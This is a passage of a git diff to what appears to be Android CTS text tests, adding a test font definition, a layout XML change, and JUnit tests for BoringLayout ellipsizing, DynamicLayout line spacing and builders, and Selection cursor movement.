+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="0em" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="1em" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="5em" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="7em" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="10em" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="50em" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="100em" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Font for StaticLayoutLineBreakingTest
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Font for StaticLayoutLineBreakingTest
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/text/res/layout/keylistener_layout.xml b/tests/tests/text/res/layout/keylistener_layout.xml
index 84a7a14..e26e815 100644
--- a/tests/tests/text/res/layout/keylistener_layout.xml
+++ b/tests/tests/text/res/layout/keylistener_layout.xml
@@ -19,6 +19,7 @@
     android:id="@+id/keylistener_textview"
     android:layout_width="wrap_content"
     android:layout_height="wrap_content"
-    android:textSize="10dp"
-/>
+    android:textSize="10dp">
+    <requestFocus />
+</android.text.method.cts.EditTextNoIme>
 
diff --git a/tests/tests/text/src/android/text/cts/BoringLayoutTest.java b/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
index e78fb3e..f2a7b5a 100644
--- a/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
@@ -23,6 +23,7 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 import static org.mockito.Matchers.any;
 import static org.mockito.Matchers.anyFloat;
 import static org.mockito.Matchers.anyInt;
@@ -36,6 +37,8 @@
 import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Paint;
+import android.graphics.Typeface;
+import android.support.test.InstrumentationRegistry;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
 import android.text.BoringLayout;
@@ -345,6 +348,91 @@
                 anyInt(), anyInt(), anyFloat(), anyFloat(), any(Paint.class));
     }
 
+    @Test
+    public void testEllipsize_End() {
+        // When we try to ellipsize "aaaa" into a thinner 3.4 em space, we originally think "aa…"
+        // would fit, but after measuring the new text, we find that it doesn't and we need to
+        // retry.
+        final float size = 100.0f;
+        final int allocatedWidth = (int) (3.4f * size);
+        final BoringLayout layout = new BoringLayout(
+                "aaaa",
+                getTextPaintForEllipsize(size),
+                allocatedWidth,
+                DEFAULT_ALIGN,
+                SPACING_MULT_NO_SCALE,
+                SPACING_ADD_NO_SCALE,
+                createMetrics(0, 0, 0, 0, allocatedWidth, 0),
+                false /* includepad */,
+                TextUtils.TruncateAt.END,
+                allocatedWidth);
+        assertEquals("a\u2026\uFEFF\uFEFF", layout.getText().toString());
+    }
+
+    @Test
+    public void testEllipsize_Start() {
+        // When we try to ellipsize "aaaa" into a thinner 3.4 em space, we originally think "…aa"
+        // would fit, but after measuring the new text, we find that it doesn't and we need to
+        // retry.
+        final float size = 100.0f;
+        final int allocatedWidth = (int) (3.4f * size);
+        final BoringLayout layout = new BoringLayout(
+                "aaaa",
+                getTextPaintForEllipsize(size),
+                allocatedWidth,
+                DEFAULT_ALIGN,
+                SPACING_MULT_NO_SCALE,
+                SPACING_ADD_NO_SCALE,
+                createMetrics(0, 0, 0, 0, allocatedWidth, 0),
+                false /* includepad */,
+                TextUtils.TruncateAt.START,
+                allocatedWidth);
+        assertEquals("\u2026\uFEFF\uFEFFa", layout.getText().toString());
+    }
+
+    @Test
+    public void testEllipsize_Middle() {
+        // When we try to ellipsize "aaaaaa" into a thinner 5.9 em space, we originally think
+        // "aa…aa" would fit, but after measuring the new text, we find that it doesn't and we need
+        // to retry.
+        final float size = 100.0f;
+        final int allocatedWidth = (int) (5.9f * size);
+        final BoringLayout layout = new BoringLayout(
+                "aaaaaa",
+                getTextPaintForEllipsize(size),
+                allocatedWidth,
+                DEFAULT_ALIGN,
+                SPACING_MULT_NO_SCALE,
+                SPACING_ADD_NO_SCALE,
+                createMetrics(0, 0, 0, 0, allocatedWidth, 0),
+                false /* includepad */,
+                TextUtils.TruncateAt.MIDDLE,
+                allocatedWidth);
+        final String ellipsizedString = layout.getText().toString();
+        assertTrue("aa\u2026\uFEFF\uFEFFa".equals(ellipsizedString)
+                || "a\u2026\uFEFF\uFEFFaa".equals(ellipsizedString));
+    }
+
+    private TextPaint getTextPaintForEllipsize(float size) {
+        // The font used in this method has two glyphs defined for "a" and ellipsis. Both are one
+        // em wide. But the glyphs are kerned: whenever the "a" is followed or preceded by an
+        // ellipsis, half an em is added between them as kerning. This means that:
+        // "aaaa" is 4 ems wide,
+        // "aaa…" is 4.5 ems wide,
+        // "aa…" is 3.5 ems wide,
+        // "a…" is 2.5 ems wide,
+        // "aa…aa" is 6 ems wide,
+        // "aa…a" is 5 ems wide,
+        // "a…aa" is 5 ems wide,
+        // "a…a" is 4 ems wide,
+        // "…a" is 2.5 ems wide.
+        final TextPaint paint = new TextPaint();
+        paint.setTypeface(Typeface.createFromAsset(
+                InstrumentationRegistry.getTargetContext().getAssets(), "ellipsis_test_font.ttf"));
+        paint.setTextSize(size);
+        return paint;
+    }
+
     private static Metrics createMetrics(
             final int top,
             final int ascent,
diff --git a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
index 02139c5..d37f0ca 100644
--- a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
@@ -29,6 +29,7 @@
 import android.support.test.runner.AndroidJUnit4;
 import android.text.DynamicLayout;
 import android.text.Layout;
+import android.text.SpannableStringBuilder;
 import android.text.StaticLayout;
 import android.text.TextPaint;
 import android.text.TextUtils;
@@ -44,6 +45,7 @@
     private static final float SPACING_MULT_NO_SCALE = 1.0f;
     private static final float SPACING_ADD_NO_SCALE = 0.0f;
     private static final int DEFAULT_OUTER_WIDTH = 150;
+    private static final int ELLIPSIZE_WIDTH = 8;
     private static final CharSequence SINGLELINE_CHAR_SEQUENCE = "......";
     private static final String[] TEXT = {"CharSequence\n", "Char\tSequence\n", "CharSequence"};
     private static final CharSequence MULTLINE_CHAR_SEQUENCE = TEXT[0] + TEXT[1] + TEXT[2];
@@ -110,7 +112,7 @@
                 DEFAULT_ALIGN,
                 SPACING_MULT_NO_SCALE,
                 SPACING_ADD_NO_SCALE,
-                true,
+                true /* include pad */,
                 TextUtils.TruncateAt.START,
                 DEFAULT_OUTER_WIDTH);
         assertEquals(0, dynamicLayout.getEllipsisCount(LINE1));
@@ -118,6 +120,24 @@
         assertEquals(DEFAULT_OUTER_WIDTH, dynamicLayout.getEllipsizedWidth());
     }
 
+    // This could cause a crash in an older version of ellipsization code.
+    @Test
+    public void testEllipsisWithReflow() {
+        final String text = "Ham & Cheese.sandwich";
+        final int width = 1 << 20;
+        final int ellipsizedWidth = 2 * (int) mDefaultPaint.getTextSize();
+        final DynamicLayout dynamicLayout = new DynamicLayout(text,
+                text,
+                mDefaultPaint,
+                width,
+                DEFAULT_ALIGN,
+                SPACING_MULT_NO_SCALE,
+                SPACING_ADD_NO_SCALE,
+                true /* include pad */,
+                TextUtils.TruncateAt.END,
+                ellipsizedWidth);
+    }
+
     /*
      * Test whether include the padding to calculate the layout.
      * 1. Include padding while calculate the layout.
@@ -194,6 +214,62 @@
         assertEquals(TEXT[0].length() + TEXT[1].length(), mDynamicLayout.getLineStart(LINE2));
     }
 
+    @Test
+    public void testLineSpacing() {
+        SpannableStringBuilder text = new SpannableStringBuilder("a\nb\nc");
+        final float spacingMultiplier = 2f;
+        final float spacingAdd = 4;
+        final int width = 1000;
+        final TextPaint textPaint = new TextPaint();
+        // create the DynamicLayout
+        final DynamicLayout dynamicLayout = new DynamicLayout(text,
+                textPaint,
+                width,
+                ALIGN_NORMAL,
+                spacingMultiplier,
+                spacingAdd,
+                false /*includepad*/);
+
+        // create a StaticLayout with same text, this will define the expectations
+        Layout expected = createStaticLayout(text.toString(), textPaint, width, spacingAdd,
+                spacingMultiplier);
+        assertLineSpecs(expected, dynamicLayout);
+
+        // add a new line to the end, DynamicLayout will re-calculate
+        text = text.append("\nd");
+        expected = createStaticLayout(text.toString(), textPaint, width, spacingAdd,
+                spacingMultiplier);
+        assertLineSpecs(expected, dynamicLayout);
+
+        // insert a next line and a char as the new second line
+        text = text.insert(TextUtils.indexOf(text, '\n') + 1, "a1\n");
+        expected = createStaticLayout(text.toString(), textPaint, width, spacingAdd,
+                spacingMultiplier);
+        assertLineSpecs(expected, dynamicLayout);
+    }
+
+    @Test
+    public void testLineSpacing_textEndingWithNextLine() {
+        final SpannableStringBuilder text = new SpannableStringBuilder("a\n");
+        final float spacingMultiplier = 2f;
+        final float spacingAdd = 4f;
+        final int width = 1000;
+        final TextPaint textPaint = new TextPaint();
+        // create the DynamicLayout
+        final DynamicLayout dynamicLayout = new DynamicLayout(text,
+                textPaint,
+                width,
+                ALIGN_NORMAL,
+                spacingMultiplier,
+                spacingAdd,
+                false /*includepad*/);
+
+        // create a StaticLayout with same text, this will define the expectations
+        final Layout expected = createStaticLayout(text.toString(), textPaint, width, spacingAdd,
+                spacingMultiplier);
+        assertLineSpecs(expected, dynamicLayout);
+    }
+
     private Layout createStaticLayout(CharSequence text, TextPaint textPaint, int width,
             float spacingAdd, float spacingMultiplier) {
         return StaticLayout.Builder.obtain(text, 0,
@@ -253,4 +329,93 @@
                 spacingMultiplier);
         assertLineSpecs(expected, dynamicLayout);
     }
+
+    @Test
+    public void testBuilder_obtain() {
+        final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+                mDefaultPaint, DEFAULT_OUTER_WIDTH);
+        final DynamicLayout layout = builder.build();
+        // Check values passed to obtain().
+        assertEquals(MULTLINE_CHAR_SEQUENCE, layout.getText());
+        assertEquals(mDefaultPaint, layout.getPaint());
+        assertEquals(DEFAULT_OUTER_WIDTH, layout.getWidth());
+        // Check default values.
+        assertEquals(Layout.Alignment.ALIGN_NORMAL, layout.getAlignment());
+        assertEquals(0.0f, layout.getSpacingAdd(), 0.0f);
+        assertEquals(1.0f, layout.getSpacingMultiplier(), 0.0f);
+        assertEquals(DEFAULT_OUTER_WIDTH, layout.getEllipsizedWidth());
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testBuilder_obtainWithNullText() {
+        final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(null, mDefaultPaint, 0);
+        final DynamicLayout layout = builder.build();
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testBuilder_obtainWithNullPaint() {
+        final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+                null, 0);
+        final DynamicLayout layout = builder.build();
+    }
+
+    @Test
+    public void testBuilder_setDisplayTest() {
+        final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+                mDefaultPaint, DEFAULT_OUTER_WIDTH);
+        builder.setDisplayText(SINGLELINE_CHAR_SEQUENCE);
+        final DynamicLayout layout = builder.build();
+        assertEquals(SINGLELINE_CHAR_SEQUENCE, layout.getText());
+    }
+
+    @Test
+    public void testBuilder_setAlignment() {
+        final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+                mDefaultPaint, DEFAULT_OUTER_WIDTH);
+        builder.setAlignment(DEFAULT_ALIGN);
+        final DynamicLayout layout = builder.build();
+        assertEquals(DEFAULT_ALIGN, layout.getAlignment());
+    }
+
+    @Test
+    public void testBuilder_setLineSpacing() {
+        final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+                mDefaultPaint, DEFAULT_OUTER_WIDTH);
+        builder.setLineSpacing(1.0f, 2.0f);
+        final DynamicLayout layout = builder.build();
+        assertEquals(1.0f, layout.getSpacingAdd(), 0.0f);
+        assertEquals(2.0f, layout.getSpacingMultiplier(), 0.0f);
+    }
+
+    @Test
+    public void testBuilder_ellipsization() {
+        final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+                mDefaultPaint, DEFAULT_OUTER_WIDTH);
+        builder.setEllipsize(TextUtils.TruncateAt.END)
+                .setEllipsizedWidth(ELLIPSIZE_WIDTH);
+        final DynamicLayout layout = builder.build();
+        assertEquals(ELLIPSIZE_WIDTH, layout.getEllipsizedWidth());
+        assertEquals(DEFAULT_OUTER_WIDTH, layout.getWidth());
+        for (int i = 0; i < TEXT.length; i++) {
+            if (i == TEXT.length - 1) { // last line
+                assertTrue(layout.getEllipsisCount(i) > 0);
+            } else {
+                assertEquals(0, layout.getEllipsisCount(i));
+            }
+        }
+    }
+
+    @Test
+    public void testBuilder_otherSetters() {
+        // Setter methods that cannot be directly tested.
+        // setBreakStrategy, setHyphenationFrequency, setIncludePad, and setJustificationMode.
+        final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+                mDefaultPaint, DEFAULT_OUTER_WIDTH);
+        builder.setBreakStrategy(Layout.BREAK_STRATEGY_HIGH_QUALITY)
+                .setHyphenationFrequency(Layout.HYPHENATION_FREQUENCY_FULL)
+                .setIncludePad(true)
+                .setJustificationMode(Layout.JUSTIFICATION_MODE_INTER_WORD);
+        final DynamicLayout layout = builder.build();
+        assertNotNull(layout);
+    }
 }
diff --git a/tests/tests/text/src/android/text/cts/SelectionTest.java b/tests/tests/text/src/android/text/cts/SelectionTest.java
index f920bda..2aac83b 100644
--- a/tests/tests/text/src/android/text/cts/SelectionTest.java
+++ b/tests/tests/text/src/android/text/cts/SelectionTest.java
@@ -23,6 +23,7 @@
 
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
+import android.text.Layout;
 import android.text.Selection;
 import android.text.SpannableStringBuilder;
 import android.text.StaticLayout;
@@ -275,6 +276,56 @@
     }
 
     @Test
+    public void testMoveUpAfterTyping() {
+        CharSequence text = "aaa\nmm";
+        SpannableStringBuilder builder = new SpannableStringBuilder(text);
+        StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+                Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+        assertEquals(-1, Selection.getSelectionStart(builder));
+        assertEquals(-1, Selection.getSelectionEnd(builder));
+
+        Selection.setSelection(builder, 1, 1);
+        assertTrue(Selection.moveDown(builder, layout));
+        assertEquals(5, Selection.getSelectionStart(builder));
+        assertEquals(5, Selection.getSelectionEnd(builder));
+
+        builder.insert(5, "mm");
+        layout = new StaticLayout(builder, new TextPaint(), 200, Layout.Alignment.ALIGN_NORMAL,
+                0, 0, false);
+        assertEquals(7, Selection.getSelectionStart(builder));
+        assertEquals(7, Selection.getSelectionEnd(builder));
+
+        assertTrue(Selection.moveUp(builder, layout));
+        assertEquals(3, Selection.getSelectionStart(builder));
+        assertEquals(3, Selection.getSelectionEnd(builder));
+    }
+
+    @Test
+    public void testMoveUpKeepsOriginalMemoryPosition() {
+        CharSequence text = "aa\nm";
+        SpannableStringBuilder builder = new SpannableStringBuilder(text);
+        StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+                Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+        assertEquals(-1, Selection.getSelectionStart(builder));
+        assertEquals(-1, Selection.getSelectionEnd(builder));
+        assertEquals(0,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+        Selection.setSelection(builder, 1, 1);
+        assertTrue(Selection.moveDown(builder, layout));
+        assertEquals(4, Selection.getSelectionStart(builder));
+        assertEquals(4, Selection.getSelectionEnd(builder));
+        assertEquals(1,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+        assertTrue(Selection.moveUp(builder, layout));
+        assertEquals(1, Selection.getSelectionStart(builder));
+        assertEquals(1, Selection.getSelectionEnd(builder));
+        assertEquals(1,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+    }
+
+    @Test
     public void testMoveDown() {
         CharSequence text = "hello,world\nGoogle";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -313,6 +364,340 @@
     }
 
     @Test
+    public void testMoveDownAfterTyping() {
+        CharSequence text = "mm\naaa";
+        SpannableStringBuilder builder = new SpannableStringBuilder(text);
+        StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+                Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+        assertEquals(-1, Selection.getSelectionStart(builder));
+        assertEquals(-1, Selection.getSelectionEnd(builder));
+
+        Selection.setSelection(builder, 4, 4);
+        assertTrue(Selection.moveUp(builder, layout));
+        assertEquals(1, Selection.getSelectionStart(builder));
+        assertEquals(1, Selection.getSelectionEnd(builder));
+
+        builder.insert(1, "mm");
+        layout = new StaticLayout(builder, new TextPaint(), 200, Layout.Alignment.ALIGN_NORMAL,
+                0, 0, false);
+        assertEquals(3, Selection.getSelectionStart(builder));
+        assertEquals(3, Selection.getSelectionEnd(builder));
+
+        assertTrue(Selection.moveDown(builder, layout));
+        assertEquals(8, Selection.getSelectionStart(builder));
+        assertEquals(8, Selection.getSelectionEnd(builder));
+    }
+
+    @Test
+    public void testMoveDownKeepsOriginalMemoryPosition() {
+        CharSequence text = "m\naa";
+        SpannableStringBuilder builder = new SpannableStringBuilder(text);
+        StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+                Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+        assertEquals(-1, Selection.getSelectionStart(builder));
+        assertEquals(-1, Selection.getSelectionEnd(builder));
+        assertEquals(0,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+        Selection.setSelection(builder, 3, 3);
+        assertTrue(Selection.moveUp(builder, layout));
+        assertEquals(1, Selection.getSelectionStart(builder));
+        assertEquals(1, Selection.getSelectionEnd(builder));
+        assertEquals(1,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+        assertTrue(Selection.moveDown(builder, layout));
+        assertEquals(3, Selection.getSelectionStart(builder));
+        assertEquals(3, Selection.getSelectionEnd(builder));
+        assertEquals(1,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+    }
+
+    @Test
+    public void testMemoryPositionResetByHorizontalMovement() {
+        CharSequence text = "m\naa";
+        SpannableStringBuilder builder = new SpannableStringBuilder(text);
+        StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+                Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+        assertEquals(-1, Selection.getSelectionStart(builder));
+        assertEquals(-1, Selection.getSelectionEnd(builder));
+        assertEquals(0,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+        Selection.setSelection(builder, 3, 3);
+        assertTrue(Selection.moveUp(builder, layout));
+        assertEquals(1, Selection.getSelectionStart(builder));
+        assertEquals(1, Selection.getSelectionEnd(builder));
+        assertEquals(1,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+        assertTrue(Selection.moveDown(builder, layout));
+        assertEquals(3, Selection.getSelectionStart(builder));
+        assertEquals(3, Selection.getSelectionEnd(builder));
+        assertEquals(1,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+        assertTrue(Selection.moveRight(builder, layout));
+        assertEquals(4, Selection.getSelectionStart(builder));
+        assertEquals(4, Selection.getSelectionEnd(builder));
+        assertEquals(0,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+        assertTrue(Selection.moveUp(builder, layout));
+        assertEquals(1, Selection.getSelectionStart(builder));
+        assertEquals(1, Selection.getSelectionEnd(builder));
+        assertEquals(1,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+        assertTrue(Selection.moveDown(builder, layout));
+        assertEquals(4, Selection.getSelectionStart(builder));
+        assertEquals(4, Selection.getSelectionEnd(builder));
+        assertEquals(1,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+        assertTrue(Selection.moveLeft(builder, layout));
+        assertEquals(3, Selection.getSelectionStart(builder));
+        assertEquals(3, Selection.getSelectionEnd(builder));
+        assertEquals(0,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+        assertTrue(Selection.moveUp(builder, layout));
+        assertEquals(1, Selection.getSelectionStart(builder));
+        assertEquals(1, Selection.getSelectionEnd(builder));
+        assertEquals(1,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+        Selection.setSelection(builder, 3, 3);
+        assertEquals(0,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+    }
+
+    @Test
+    public void testMemoryPositionResetByRemoveSelection() {
+        CharSequence text = "m\naa";
+        SpannableStringBuilder builder = new SpannableStringBuilder(text);
+        StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+                Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+        assertEquals(-1, Selection.getSelectionStart(builder));
+        assertEquals(-1, Selection.getSelectionEnd(builder));
+        assertEquals(0,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+        Selection.setSelection(builder, 3, 3);
+        assertTrue(Selection.moveUp(builder, layout));
+        assertEquals(1, Selection.getSelectionStart(builder));
+        assertEquals(1, Selection.getSelectionEnd(builder));
+        assertEquals(1,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+        Selection.removeSelection(builder);
+        assertEquals(-1, Selection.getSelectionStart(builder));
+        assertEquals(-1, Selection.getSelectionEnd(builder));
+        assertEquals(0,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+    }
+
+    @Test
+    public void testMultilineLengthMoveDown() {
+        CharSequence text = "a\n\na";
+        SpannableStringBuilder builder = new SpannableStringBuilder(text);
+        StaticLayout layout = new StaticLayout(text, new TextPaint(), 200, null, 0, 0, false);
+        assertEquals(-1, Selection.getSelectionStart(builder));
+        assertEquals(-1, Selection.getSelectionEnd(builder));
+
+        Selection.setSelection(builder, 1);
+        // Move down to empty line
+        assertTrue(Selection.moveDown(builder, layout));
+        assertEquals(2, Selection.getSelectionStart(builder));
+        assertEquals(2, Selection.getSelectionEnd(builder));
+
+        // Move down to third line
+        assertTrue(Selection.moveDown(builder, layout));
+        assertEquals(4, Selection.getSelectionStart(builder));
+        assertEquals(4, Selection.getSelectionEnd(builder));
+    }
+
+    @Test
+    public void testMultilineLengthExtendDown() {
+        CharSequence text = "Google\n\nhello, world";
+        SpannableStringBuilder builder = new SpannableStringBuilder(text);
+        StaticLayout layout = new StaticLayout(text, new TextPaint(), 200, null, 0, 0, false);
+        assertEquals(-1, Selection.getSelectionStart(builder));
+        assertEquals(-1, Selection.getSelectionEnd(builder));
+
+        Selection.setSelection(builder, 1, 3);
+        assertTrue(Selection.extendDown(builder, layout));
+        assertEquals(1, Selection.getSelectionStart(builder));
+        assertEquals(7, Selection.getSelectionEnd(builder));
+
+        assertTrue(Selection.extendDown(builder, layout));
+        assertEquals(1, Selection.getSelectionStart(builder));
+        assertEquals(15, Selection.getSelectionEnd(builder));
+
+        assertTrue(Selection.extendDown(builder, layout));
+        assertEquals(1, Selection.getSelectionStart(builder));
+        assertEquals(text.length(), Selection.getSelectionEnd(builder));
+    }
+
+    @Test
+    public void testExtendDownKeepsOriginalMemoryPosition() {
+        CharSequence text = "m\naa";
+        SpannableStringBuilder builder = new SpannableStringBuilder(text);
+        StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+                Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+        assertEquals(-1, Selection.getSelectionStart(builder));
+        assertEquals(-1, Selection.getSelectionEnd(builder));
+        assertEquals(0,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+        Selection.setSelection(builder, 3, 3);
+        assertTrue(Selection.extendUp(builder, layout));
+        assertEquals(3, Selection.getSelectionStart(builder));
+        assertEquals(1, Selection.getSelectionEnd(builder));
+        assertEquals(1,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+        assertTrue(Selection.extendDown(builder, layout));
+        assertEquals(3, Selection.getSelectionStart(builder));
+        assertEquals(3, Selection.getSelectionEnd(builder));
+        assertEquals(1,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+    }
+
+    @Test
+    public void testMultilineLengthMoveUp() {
+        CharSequence text = "a\n\na";
+        SpannableStringBuilder builder = new SpannableStringBuilder(text);
+        StaticLayout layout = new StaticLayout(text, new TextPaint(), 200, null, 0, 0, false);
+        assertEquals(-1, Selection.getSelectionStart(builder));
+        assertEquals(-1, Selection.getSelectionEnd(builder));
+
+        Selection.setSelection(builder, 4);
+        // Move up to empty line
+        assertTrue(Selection.moveUp(builder, layout));
+        assertEquals(2, Selection.getSelectionStart(builder));
+        assertEquals(2, Selection.getSelectionEnd(builder));
+
+        // Move up to first line
+        assertTrue(Selection.moveUp(builder, layout));
+        assertEquals(1, Selection.getSelectionStart(builder));
+        assertEquals(1, Selection.getSelectionEnd(builder));
+    }
+
+    @Test
+    public void testMultilineLengthExtendUp() {
+        CharSequence text = "Google\n\nhello, world";
+        SpannableStringBuilder builder = new SpannableStringBuilder(text);
+        StaticLayout layout = new StaticLayout(text, new TextPaint(), 200, null, 0, 0, false);
+        assertEquals(-1, Selection.getSelectionStart(builder));
+        assertEquals(-1, Selection.getSelectionEnd(builder));
+
+        assertTrue(Selection.extendUp(builder, layout));
+        assertEquals(-1, Selection.getSelectionStart(builder));
+        assertEquals(0, Selection.getSelectionEnd(builder));
+
+        Selection.setSelection(builder, 9, 16);
+        assertTrue(Selection.extendUp(builder, layout));
+        assertEquals(9, Selection.getSelectionStart(builder));
+        assertEquals(7, Selection.getSelectionEnd(builder));
+
+        assertTrue(Selection.extendUp(builder, layout));
+        assertEquals(9, Selection.getSelectionStart(builder));
+        assertEquals(4, Selection.getSelectionEnd(builder));
+
+        assertTrue(Selection.extendUp(builder, layout));
+        assertEquals(9, Selection.getSelectionStart(builder));
+        assertEquals(0, Selection.getSelectionEnd(builder));
+    }
+
+    @Test
+    public void testExtendUpKeepsOriginalMemoryPosition() {
+        CharSequence text = "aa\nm";
+        SpannableStringBuilder builder = new SpannableStringBuilder(text);
+        StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+                Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+        assertEquals(-1, Selection.getSelectionStart(builder));
+        assertEquals(-1, Selection.getSelectionEnd(builder));
+        assertEquals(0,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+        Selection.setSelection(builder, 1, 1);
+        assertTrue(Selection.extendDown(builder, layout));
+        assertEquals(1, Selection.getSelectionStart(builder));
+        assertEquals(4, Selection.getSelectionEnd(builder));
+        assertEquals(1,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+        assertTrue(Selection.extendUp(builder, layout));
+        assertEquals(1, Selection.getSelectionStart(builder));
+        assertEquals(1, Selection.getSelectionEnd(builder));
+        assertEquals(1,
+                builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+    }
+
+    @Test
+    public void testMultilineLengthMoveDownAfterSelection() {
+        CharSequence text = "aaaaa\n\naaaaa";
+        SpannableStringBuilder builder = new SpannableStringBuilder(text);
+        StaticLayout layout = new StaticLayout(text, new TextPaint(), 200, null, 0, 0, false);
+        assertEquals(-1, Selection.getSelectionStart(builder));
+        assertEquals(-1, Selection.getSelectionEnd(builder));
+
+        Selection.setSelection(builder, 3);
+        // Move down to empty line
+        assertTrue(Selection.moveDown(builder, layout));
+        assertEquals(6, Selection.getSelectionStart(builder));
+        assertEquals(6, Selection.getSelectionEnd(builder));
+
+        // Move down to third line
+        assertTrue(Selection.moveUp(builder, layout));
+        assertEquals(3, Selection.getSelectionStart(builder));
+        assertEquals(3, Selection.getSelectionEnd(builder));
+
+        Selection.setSelection(builder, 5);
+        // Move down to empty line
+        assertTrue(Selection.moveDown(builder, layout));
+        assertEquals(6, Selection.getSelectionStart(builder));
